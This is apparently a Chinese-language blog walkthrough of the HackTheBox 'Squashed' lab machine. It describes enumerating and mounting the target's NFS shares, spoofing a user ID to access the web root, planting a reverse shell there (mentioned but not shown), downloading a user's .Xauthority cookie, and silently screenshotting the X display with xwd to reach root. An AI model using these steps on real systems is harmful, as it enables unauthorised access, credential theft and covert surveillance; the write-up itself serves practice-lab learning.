HackTheBox Squashed

nmap -sS -sC -sV -Pn 10.10.11.191 -o squashed

访问网站,没有找到呦价值的信息。

# 查看目标的挂载目录
showmount -e 10.10.11.191

# 将目标的挂载目录挂载到本地
mount -t nfs 10.10.11.191:/home/ross ross
mount -t nfs 10.10.11.191:/var/www/html html

就当我准备进入挂载的html目录是,显示拒绝访问;ls -al 查看,发现文件所属为:权限为www-data且uid为2017的用户。

# 创建一个用户并且查看用户的uid
useradd demo
cat /etc/passwd | grep "demo"

# 修改用户ID
usermod -u 2017 demo

# 修改用户组ID
groupmod -g 2017 demo

然后切换用户,写入反弹shell,拷贝到刚才挂载的目录下

再来查看/home/ross目录下的文件

[https://docs.citrix.com/zh-cn/linux-virtual-delivery-agent/1912-ltsr/configuration/configure-xauthority.html]( https://docs.citrix.com/zh-cn/linux-virtual-delivery-agent/1912-ltsr/configuration/configure-xauthority.html#:~:text=可以在每个用户的主目录中找到.Xauthority 文件。 它用于将凭据存储在 xauth 使用的 cookie 中以用于对 XServer ,%E8%BF%9B%E8%A1%8C%E8%BA%AB%E4%BB%BD%E9%AA%8C%E8%AF%81%E3%80%82%20%E5%90%AF%E5%8A%A8%20XServer%20%E5%AE%9E%E4%BE%8B%20%28Xorg%29%20%E5%90%8E%EF%BC%8C%E8%AF%A5%20cookie%20%E5%B0%86%E7%94%A8%E4%BA%8E%E5%AF%B9%E4%B8%8E%E8%AF%A5%E7%89%B9%E5%AE%9A%E6%98%BE%E7%A4%BA%E7%9A%84%E8%BF%9E%E6%8E%A5%E8%BF%9B%E8%A1%8C%E8%BA%AB%E4%BB%BD%E9%AA%8C%E8%AF%81%E3%80%82)
可以在每个用户的主目录中找到 .Xauthority 文件。它用于将凭据存储在 xauth 使用的 cookie 中以用于对 XServer 进行身份验证。启动 XServer 实例 (Xorg) 后,该 cookie 将用于对与该特定显示的连接进行身份验证。

此刻,我们在目标服务器上利用python创建http服务,下载.Xauthority文件到攻击机

wget http://10.10.11.191:8080/.Xauthority

现在我们可以验证是否存在与我们在 HackTricks 中找到的命令的连接。为此,我们必须首先知道屏幕的名称。使用命令,我们看到屏幕是w:0

利用如下命令远程制作屏幕截图

xwd -root -screen -silent -display :0 > /tmp/screen.xwd

-root: 选择整个屏幕
-screen: 发送截屏请求
-silent: 悄悄操作
-display: 连接到指定服务器

使用在线工具将xwd文件转换为png图片

https://onlineconvertfree.com/zh/convert/xwd/

成功获取到root flag

posted @ 2023-02-25 16:55  Axion11  阅读(50)  评论(0)    收藏  举报